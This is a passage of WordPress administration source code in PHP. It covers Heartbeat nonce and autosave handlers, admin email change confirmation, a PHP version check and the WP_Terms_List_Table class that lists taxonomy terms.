				'_ajax_linking_nonce'  => wp_create_nonce( 'internal-linking' ),
				'_wpnonce'             => wp_create_nonce( 'update-post_' . $post_id ),
			),
		);
	}

	return $response;
}

/**
 * Refresh nonces used with meta boxes in the block editor.
 *
 * @since 6.1.0
 *
 * @param array  $response  The Heartbeat response.
 * @param array  $data      The $_POST data sent.
 * @return array The Heartbeat response.
 */
function wp_refresh_metabox_loader_nonces( $response, $data ) {
	if ( empty( $data['wp-refresh-metabox-loader-nonces'] ) ) {
		return $response;
	}

	$received = $data['wp-refresh-metabox-loader-nonces'];
	$post_id  = (int) $received['post_id'];

	if ( ! $post_id ) {
		return $response;
	}

	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		return $response;
	}

	$response['wp-refresh-metabox-loader-nonces'] = array(
		'replace' => array(
			'metabox_loader_nonce' => wp_create_nonce( 'meta-box-loader' ),
			'_wpnonce'             => wp_create_nonce( 'update-post_' . $post_id ),
		),
	);

	return $response;
}

/**
 * Adds the latest Heartbeat and REST-API nonce to the Heartbeat response.
 *
 * @since 5.0.0
 *
 * @param array $response The Heartbeat response.
 * @return array The Heartbeat response.
 */
function wp_refresh_heartbeat_nonces( $response ) {
	// Refresh the Rest API nonce.
	$response['rest_nonce'] = wp_create_nonce( 'wp_rest' );

	// Refresh the Heartbeat nonce.
	$response['heartbeat_nonce'] = wp_create_nonce( 'heartbeat-nonce' );

	return $response;
}

/**
 * Disables suspension of Heartbeat on the Add/Edit Post screens.
 *
 * @since 3.8.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param array $settings An array of Heartbeat settings.
 * @return array Filtered Heartbeat settings.
 */
function wp_heartbeat_set_suspension( $settings ) {
	global $pagenow;

	if ( 'post.php' === $pagenow || 'post-new.php' === $pagenow ) {
		$settings['suspension'] = 'disable';
	}

	return $settings;
}

/**
 * Performs autosave with heartbeat.
 *
 * @since 3.9.0
 *
 * @param array $response The Heartbeat response.
 * @param array $data     The $_POST data sent.
 * @return array The Heartbeat response.
 */
function heartbeat_autosave( $response, $data ) {
	if ( ! empty( $data['wp_autosave'] ) ) {
		$saved = wp_autosave( $data['wp_autosave'] );

		if ( is_wp_error( $saved ) ) {
			$response['wp_autosave'] = array(
				'success' => false,
				'message' => $saved->get_error_message(),
			);
		} elseif ( empty( $saved ) ) {
			$response['wp_autosave'] = array(
				'success' => false,
				'message' => __( 'Error while saving.' ),
			);
		} else {
			/* translators: Draft saved date format, see https://www.php.net/manual/datetime.format.php */
			$draft_saved_date_format = __( 'g:i:s a' );
			$response['wp_autosave'] = array(
				'success' => true,
				/* translators: %s: Date and time. */
				'message' => sprintf( __( 'Draft saved at %s.' ), date_i18n( $draft_saved_date_format ) ),
			);
		}
	}

	return $response;
}

/**
 * Removes single-use URL parameters and create canonical link based on new URL.
 *
 * Removes specific query string parameters from a URL, create the canonical link,
 * put it in the admin header, and change the current URL to match.
 *
 * @since 4.2.0
 */
function wp_admin_canonical_url() {
	$removable_query_args = wp_removable_query_args();

	if ( empty( $removable_query_args ) ) {
		return;
	}

	// Ensure we're using an absolute URL.
	$current_url  = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
	$filtered_url = remove_query_arg( $removable_query_args, $current_url );

	/**
	 * Filters the admin canonical url value.
	 *
	 * @since 6.5.0
	 *
	 * @param string $filtered_url The admin canonical url value.
	 */
	$filtered_url = apply_filters( 'wp_admin_canonical_url', $filtered_url );
	?>
	<link id="wp-admin-canonical" rel="canonical" href="<?php echo esc_url( $filtered_url ); ?>" />
	<script>
		if ( window.history.replaceState ) {
			window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );
		}
	</script>
	<?php
}

/**
 * Sends a referrer policy header so referrers are not sent externally from administration screens.
 *
 * @since 4.9.0
 */
function wp_admin_headers() {
	$policy = 'strict-origin-when-cross-origin';

	/**
	 * Filters the admin referrer policy header value.
	 *
	 * @since 4.9.0
	 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'.
	 *
	 * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
	 *
	 * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'.
	 */
	$policy = apply_filters( 'admin_referrer_policy', $policy );

	header( sprintf( 'Referrer-Policy: %s', $policy ) );
}

/**
 * Outputs JS that reloads the page if the user navigated to it with the Back or Forward button.
 *
 * Used on the Edit Post and Add New Post screens. Needed to ensure the page is not loaded from browser cache,
 * so the post title and editor content are the last saved versions. Ideally this script should run first in the head.
 *
 * @since 4.6.0
 */
function wp_page_reload_on_back_button_js() {
	?>
	<script>
		if ( typeof performance !== 'undefined' && performance.navigation && performance.navigation.type === 2 ) {
			document.location.reload( true );
		}
	</script>
	<?php
}

/**
 * Sends a confirmation request email when a change of site admin email address is attempted.
 *
 * The new site admin address will not become active until confirmed.
 *
 * @since 3.0.0
 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
 *
 * @param string $old_value The old site admin email address.
 * @param string $value     The proposed new site admin email address.
 */
function update_option_new_admin_email( $old_value, $value ) {
	if ( get_option( 'admin_email' ) === $value || ! is_email( $value ) ) {
		return;
	}

	$hash            = md5( $value . time() . wp_rand() );
	$new_admin_email = array(
		'hash'     => $hash,
		'newemail' => $value,
	);
	update_option( 'adminhash', $new_admin_email );

	$switched_locale = switch_to_user_locale( get_current_user_id() );

	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy ###USERNAME###,

Someone with administrator capabilities recently requested to have the
administration email address changed on this site:
###SITEURL###

To confirm this change, please click on the following link:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent when a change of site admin email address is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *  - ###USERNAME###  The current user's username.
	 *  - ###ADMIN_URL### The link to click on to confirm the email change.
	 *  - ###EMAIL###     The proposed new site admin email address.
	 *  - ###SITENAME###  The name of the site.
	 *  - ###SITEURL###   The URL to the site.
	 *
	 * @since MU (3.0.0)
	 * @since 4.9.0 This filter is no longer Multisite specific.
	 *
	 * @param string $email_text      Text in the email.
	 * @param array  $new_admin_email {
	 *     Data relating to the new site admin email address.
	 *
	 *     @type string $hash     The secure hash used in the confirmation link URL.
	 *     @type string $newemail The proposed new site admin email address.
	 * }
	 */
	$content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email );

	$current_user = wp_get_current_user();
	$content      = str_replace( '###USERNAME###', $current_user->user_login, $content );
	$content      = str_replace( '###ADMIN_URL###', esc_url( self_admin_url( 'options.php?adminhash=' . $hash ) ), $content );
	$content      = str_replace( '###EMAIL###', $value, $content );
	$content      = str_replace( '###SITENAME###', wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $content );
	$content      = str_replace( '###SITEURL###', home_url(), $content );

	if ( '' !== get_option( 'blogname' ) ) {
		$site_title = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	$subject = sprintf(
		/* translators: New admin email address notification email subject. %s: Site title. */
		__( '[%s] New Admin Email Address' ),
		$site_title
	);

	/**
	 * Filters the subject of the email sent when a change of site admin email address is attempted.
	 *
	 * @since 6.5.0
	 *
	 * @param string $subject Subject of the email.
	 */
	$subject = apply_filters( 'new_admin_email_subject', $subject );

	wp_mail( $value, $subject, $content );

	if ( $switched_locale ) {
		restore_previous_locale();
	}
}

/**
 * Appends '(Draft)' to draft page titles in the privacy page dropdown
 * so that unpublished content is obvious.
 *
 * @since 4.9.8
 * @access private
 *
 * @param string  $title Page title.
 * @param WP_Post $page  Page data object.
 * @return string Page title.
 */
function _wp_privacy_settings_filter_draft_page_titles( $title, $page ) {
	if ( 'draft' === $page->post_status && 'privacy' === get_current_screen()->id ) {
		/* translators: %s: Page title. */
		$title = sprintf( __( '%s (Draft)' ), $title );
	}

	return $title;
}

/**
 * Checks if the user needs to update PHP.
 *
 * @since 5.1.0
 * @since 5.1.1 Added the {@see 'wp_is_php_version_acceptable'} filter.
 *
 * @return array|false {
 *     Array of PHP version data. False on failure.
 *
 *     @type string $recommended_version The PHP version recommended by WordPress.
 *     @type string $minimum_version     The minimum required PHP version.
 *     @type bool   $is_supported        Whether the PHP version is actively supported.
 *     @type bool   $is_secure           Whether the PHP version receives security updates.
 *     @type bool   $is_acceptable       Whether the PHP version is still acceptable or warnings
 *                                       should be shown and an update recommended.
 * }
 */
function wp_check_php_version() {
	$version = PHP_VERSION;
	$key     = md5( $version );

	$response = get_site_transient( 'php_check_' . $key );

	if ( false === $response ) {
		$url = 'http://api.wordpress.org/core/serve-happy/1.0/';

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$url = add_query_arg( 'php_version', $version, $url );

		$response = wp_remote_get( $url );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		$response = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $response ) ) {
			return false;
		}

		set_site_transient( 'php_check_' . $key, $response, WEEK_IN_SECONDS );
	}

	if ( isset( $response['is_acceptable'] ) && $response['is_acceptable'] ) {
		/**
		 * Filters whether the active PHP version is considered acceptable by WordPress.
		 *
		 * Returning false will trigger a PHP version warning to show up in the admin dashboard to administrators.
		 *
		 * This filter is only run if the wordpress.org Serve Happy API considers the PHP version acceptable, ensuring
		 * that this filter can only make this check stricter, but not loosen it.
		 *
		 * @since 5.1.1
		 *
		 * @param bool   $is_acceptable Whether the PHP version is considered acceptable. Default true.
		 * @param string $version       PHP version checked.
		 */
		$response['is_acceptable'] = (bool) apply_filters( 'wp_is_php_version_acceptable', true, $version );
	}

	$response['is_lower_than_future_minimum'] = false;

	// The minimum supported PHP version will be updated to 7.2. Check if the current version is lower.
	if ( version_compare( $version, '7.2', '<' ) ) {
		$response['is_lower_than_future_minimum'] = true;

		// Force showing of warnings.
		$response['is_acceptable'] = false;
	}

	return $response;
}
<?php
/**
 * List Table API: WP_Terms_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying terms in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Terms_List_Table extends WP_List_Table {

	public $callback_args;

	private $level;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $post_type
	 * @global string $taxonomy
	 * @global string $action
	 * @global object $tax
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type, $taxonomy, $action, $tax;

		parent::__construct(
			array(
				'plural'   => 'tags',
				'singular' => 'tag',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$action    = $this->screen->action;
		$post_type = $this->screen->post_type;
		$taxonomy  = $this->screen->taxonomy;

		if ( empty( $taxonomy ) ) {
			$taxonomy = 'post_tag';
		}

		if ( ! taxonomy_exists( $taxonomy ) ) {
			wp_die( __( 'Invalid taxonomy.' ) );
		}

		$tax = get_taxonomy( $taxonomy );

		// @todo Still needed? Maybe just the show_ui part.
		if ( empty( $post_type ) || ! in_array( $post_type, get_post_types( array( 'show_ui' => true ) ), true ) ) {
			$post_type = 'post';
		}
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
	}

	/**
	 */
	public function prepare_items() {
		$taxonomy = $this->screen->taxonomy;

		$tags_per_page = $this->get_items_per_page( "edit_{$taxonomy}_per_page" );

		if ( 'post_tag' === $taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );

			/**
			 * Filters the number of terms displayed per page for the Tags list table.
			 *
			 * @since 2.7.0
			 * @deprecated 2.8.0 Use {@see 'edit_tags_per_page'} instead.
			 *
			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters_deprecated( 'tagsperpage', array( $tags_per_page ), '2.8.0', 'edit_tags_per_page' );
		} elseif ( 'category' === $taxonomy ) {
			/**
			 * Filters the number of terms displayed per page for the Categories list table.
			 *
			 * @since 2.8.0
			 *
			 * @param int $tags_per_page Number of categories to be displayed. Default 20.
			 */
			$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
		}

		$search = ! empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';

		$args = array(
			'taxonomy'   => $taxonomy,
			'search'     => $search,
			'page'       => $this->get_pagenum(),
			'number'     => $tags_per_page,
			'hide_empty' => 0,
		);

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
		}

		if ( ! empty( $_REQUEST['order'] ) ) {
			$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
		}

		$args['offset'] = ( $args['page'] - 1 ) * $args['number'];

		// Save the values because 'number' and 'offset' can be subsequently overridden.
		$this->callback_args = $args;

		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
			// We'll need the full set of terms then.
			$args['number'] = 0;
			$args['offset'] = $args['number'];
		}

		$this->items = get_terms( $args );

		$this->set_pagination_args(
			array(
				'total_items' => wp_count_terms(
					array(
						'taxonomy' => $taxonomy,
						'search'   => $search,
					)
				),
				'per_page'    => $tags_per_page,
			)
		);
	}

	/**
	 */
	public function no_items() {
		echo get_taxonomy( $this->screen->taxonomy )->labels->not_found;
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) {
			$actions['delete'] = __( 'Delete' );
		}

		return $actions;
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && 'delete' === $_REQUEST['action'] ) {
			return 'bulk-delete';
		}

		return parent::current_action();
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => _x( 'Name', 'term name' ),
			'description' => __( 'Description' ),
			'slug'        => __( 'Slug' ),
		);

		if ( 'link_category' === $this->screen->taxonomy ) {
			$columns['links'] = __( 'Links' );
		} else {
			$columns['posts'] = _x( 'Count', 'Number/count of items' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		$taxonomy = $this->screen->taxonomy;

		if ( ! isset( $_GET['orderby'] ) && is_taxonomy_hierarchical( $taxonomy ) ) {
			$name_orderby_text = __( 'Table ordered hierarchically.' );
		} else {
			$name_orderby_text = __( 'Table ordered by Name.' );
		}

		return array(
			'name'        => array( 'name', false, _x( 'Name', 'term name' ), $name_orderby_text, 'asc' ),
			'description' => array( 'description', false, __( 'Description' ), __( 'Table ordered by Description.' ) ),
			'slug'        => array( 'slug', false, __( 'Slug' ), __( 'Table ordered by Slug.' ) ),
			'posts'       => array( 'count', false, _x( 'Count', 'Number/count of items' ), __( 'Table ordered by Posts Count.' ) ),
			'links'       => array( 'count', false, __( 'Links' ), __( 'Table ordered by Links.' ) ),
		);
	}

	/**
	 */
	public function display_rows_or_placeholder() {
		$taxonomy = $this->screen->taxonomy;

		$number = $this->callback_args['number'];
		$offset = $this->callback_args['offset'];

		// Convert it to table rows.
		$count = 0;

		if ( empty( $this->items ) || ! is_array( $this->items ) ) {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
			return;
		}

		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $this->callback_args['orderby'] ) ) {
			if ( ! empty( $this->callback_args['search'] ) ) {// Ignore children on searches.
				$children = array();
			} else {
				$children = _get_term_hierarchy( $taxonomy );
			}

			/*
			 * Some funky recursion to get the job done (paging & parents mainly) is contained within.
			 * Skip it for non-hierarchical taxonomies for performance sake.
			 */
			$this->_rows( $taxonomy, $this->items, $children, $offset, $number, $count );
		} else {
			foreach ( $this->items as $term ) {
				$this->single_row( $term );
			}
		}
	}

	/**
	 * @param string $taxonomy
	 * @param array  $terms
	 * @param array  $children
	 * @param int    $start
	 * @param int    $per_page
	 * @param int    $count
	 * @param int    $parent_term
	 * @param int    $level
	 */
	private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent_term = 0, $level = 0 ) {

		$end = $start + $per_page;

		foreach ( $terms as $key => $term ) {

			if ( $count >= $end ) {
				break;
			}

			if ( $term->parent !== $parent_term && empty( $_REQUEST['s'] ) ) {
				continue;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
				$my_parents = array();
				$parent_ids = array();
				$p          = $term->parent;

				while ( $p ) {
					$my_parent    = get_term( $p, $taxonomy );
					$my_parents[] = $my_parent;
					$p            = $my_parent->parent;

					if ( in_array( $p, $parent_ids, true ) ) { // Prevent parent loops.
						break;
					}

					$parent_ids[] = $p;
				}

				unset( $parent_ids );

				$num_parents = count( $my_parents );

				while ( $my_parent = array_pop( $my_parents ) ) {
					echo "\t";
					$this->single_row( $my_parent, $level - $num_parents );
					--$num_parents;
				}
			}

			if ( $count >= $start ) {
				echo "\t";
				$this->single_row( $term, $level );
			}

			++$count;

			unset( $terms[ $key ] );

			if ( isset( $children[ $term->term_id ] ) && empty( $_REQUEST['s'] ) ) {
				$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
			}
		}
	}

	/**
	 * @global string $taxonomy
	 * @param WP_Term $tag   Term object.
	 * @param int     $level
	 */
	public function single_row( $tag, $level = 0 ) {
		global $taxonomy;
		$tag = sanitize_term( $tag, $taxonomy );

		$this->level = $level;

		if ( $tag->parent ) {
			$count = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
			$level = 'level-' . $count;
		} else {
			$level = 'level-0';
		}

		echo '<tr id="tag-' . $tag->term_id . '" class="' . $level . '">';
		$this->single_row_columns( $tag );
		echo '</tr>';
	}

	/**
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item Term object.
	 * @return string
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			return sprintf(
				'<input type="checkbox" name="delete_tags[]" value="%1$s" id="cb-select-%1$s" />' .
				'<label for="cb-select-%1$s"><span class="screen-reader-text">%2$s</span></label>',
				$tag->term_id,
				/* translators: Hidden accessibility text. %s: Taxonomy term name. */
				sprintf( __( 'Select %s' ), $tag->name )
			);
		}

		return '&nbsp;';
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_name( $tag ) {
		$taxonomy = $this->screen->taxonomy;

		$pad = str_repeat( '&#8212; ', max( 0, $this->level ) );

		/**
		 * Filters display of the term name in the terms list table.
		 *
		 * The default output may include padding due to the term's
		 * current level in the term hierarchy.
		 *
		 * @since 2.5.0
		 *
		 * @see WP_Terms_List_Table::column_name()
		 *
		 * @param string $pad_tag_name The term name, padded if not top-level.
		 * @param WP_Term $tag         Term object.
		 */
		$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );

		$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );

		$uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

		$edit_link = get_edit_term_link( $tag, $taxonomy, $this->screen->post_type );

		if ( $edit_link ) {
			$edit_link = add_query_arg(
				'wp_http_referer',
				urlencode( wp_unslash( $uri ) ),
				$edit_link
			);
			$name      = sprintf(
				'<a class="row-title" href="%s" aria-label="%s">%s</a>',
				esc_url( $edit_link ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $tag->name ) ),
				$name
			);
		}

		$output = sprintf(
			'<strong>%s</strong><br />',
			$name
		);

		/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
		$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_taxonomy', true, $taxonomy );

		if ( $quick_edit_enabled ) {
			$output .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
			$output .= '<div class="name">' . $qe_data->name . '</div>';

			/** This filter is documented in wp-admin/edit-tag-form.php */
			$output .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug, $qe_data ) . '</div>';
			$output .= '<div class="parent">' . $qe_data->parent . '</div></div>';
		}

		return $output;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item        Tag being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for terms, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		$taxonomy = $this->screen->taxonomy;
		$uri      = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI'];

		$actions = array();

		if ( current_user_can( 'edit_term', $tag->term_id ) ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url(
					add_query_arg(
						'wp_http_referer',
						urlencode( wp_unslash( $uri ) ),
						get_edit_term_link( $tag, $taxonomy, $this->screen->post_type )
					)
				),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Edit' )
			);

			/**
			 * Filters whether Quick Edit should be enabled for the given taxonomy.
			 *
			 * @since 6.4.0
			 *
			 * @param bool   $enable   Whether to enable the Quick Edit functionality. Default true.
			 * @param string $taxonomy Taxonomy name.
			 */
			$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_taxonomy', true, $taxonomy );

			if ( $quick_edit_enabled ) {
				$actions['inline hide-if-no-js'] = sprintf(
					'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
					/* translators: %s: Taxonomy term name. */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $tag->name ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

		if ( current_user_can( 'delete_term', $tag->term_id ) ) {
			$actions['delete'] = sprintf(
				'<a href="%s" class="delete-tag aria-button-if-js" aria-label="%s">%s</a>',
				wp_nonce_url( "edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'Delete &#8220;%s&#8221;' ), $tag->name ) ),
				__( 'Delete' )
			);
		}

		if ( is_term_publicly_viewable( $tag ) ) {
			$actions['view'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_term_link( $tag ),
				/* translators: %s: Taxonomy term name. */
				esc_attr( sprintf( __( 'View &#8220;%s&#8221; archive' ), $tag->name ) ),
				__( 'View' )
			);
		}

		/**
		 * Filters the action links displayed for each term in the Tags list table.
		 *
		 * @since 2.8.0
		 * @since 3.0.0 Deprecated in favor of {@see '{$taxonomy}_row_actions'} filter.
		 * @since 5.4.2 Restored (un-deprecated).
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( 'tag_row_actions', $actions, $tag );

		/**
		 * Filters the action links displayed for each term in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `category_row_actions`
		 *  - `post_tag_row_actions`
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */
		$actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag );

		return $this->row_actions( $actions );
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_description( $tag ) {
		if ( $tag->description ) {
			return $tag->description;
		} else {
			return '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				__( 'No description' ) .
			'</span>';
		}
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_slug( $tag ) {
		/** This filter is documented in wp-admin/edit-tag-form.php */
		return apply_filters( 'editable_slug', $tag->slug, $tag );
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_posts( $tag ) {
		$count = number_format_i18n( $tag->count );

		$tax = get_taxonomy( $this->screen->taxonomy );

		$ptype_object = get_post_type_object( $this->screen->post_type );
		if ( ! $ptype_object->show_ui ) {
			return $count;
		}

		if ( $tax->query_var ) {
			$args = array( $tax->query_var => $tag->slug );
		} else {
			$args = array(
				'taxonomy' => $tax->name,
				'term'     => $tag->slug,
			);
		}

		if ( 'post' !== $this->screen->post_type ) {
			$args['post_type'] = $this->screen->post_type;
		}

		if ( 'attachment' === $this->screen->post_type ) {
			return "<a href='" . esc_url( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>";
		}

		return "<a href='" . esc_url( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>";
	}

	/**
	 * @param WP_Term $tag Term object.
	 * @return string
	 */
	public function column_links( $tag ) {
		$count = number_format_i18n( $tag->count );

		if ( $count ) {
			$count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>";
		}

		return $count;
	}

	/**
	 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $item        Term object.
	 * @param string  $column_name Name of the column.
	 * @return string
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$tag = $item;

		/**
		 * Filters the displayed columns in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$this->screen->taxonomy`,
		 * refers to the slug of the current taxonomy.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_category_custom_column`
		 *  - `manage_post_tag_custom_column`
		 *
		 * @since 2.8.0
		 *
		 * @param string $string      Custom column output. Default empty.
		 * @param string $column_name Name of the column.
		 * @param int    $term_id     Term ID.
		 */
		return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id );
	}

	/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 */
	public function inline_edit() {
		$tax = get_taxonomy( $this->screen->taxonomy );

		if ( ! current_user_can( $tax->cap->edit_terms ) ) {
			return;
		}
		?>

		<form method="get">
		<table style="display: none"><tbody id="inlineedit">

			<tr id="inline-edit" class="inline-edit-row" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
			<div class="inline-edit-wrapper">

			<fieldset>
				<legend class="inline-edit-legend"><?php _e( 'Quick Edit' ); ?></legend>
				<div class="inline-edit-col">
				<label>
					<span class="title"><?php _ex( 'Name', 'term name' ); ?></span>
					<span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span>
				</label>

				<label>
					<span class="title"><?php _e( 'Slug' ); ?></span>
					<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
				</label>
				</div>
			</fieldset>

			<?php
			$core_columns = array(
				'cb'          => true,
				'description' => true,
				'name'        => true,
				'slug'        => true,
				'posts'       => true,
			);

			list( $columns ) = $this->get_column_info();

			foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

				/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
				do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy );
			}
			?>

			<div class="inline-edit-save submit">
				<button type="button" class="save button button-primary"><?php echo $tax->labels->update_item; ?></button>
				<button type="button" class="cancel button"><?php _e( 'Cancel' ); ?></button>
				<span class="spinner"></span>

				<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
				<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" />
				<input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" />

				<?php
				wp_admin_notice(
					'<p class="error"></p>',
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						'paragraph_wrap'     => false,
					)
				);
				?>
			</div>
			</div>

			</td></tr>

		</tbody></table>
		</form>
		<?php
	}
}
<?php
/**
 * WordPress Administration Privacy Tools API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Resend an existing request and return the result.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return true|WP_Error Returns true if sending the email was successful, or a WP_Error object.
 */
function _wp_privacy_resend_request( $request_id ) {
	$request_id = absint( $request_id );
	$request    = get_post( $request_id );

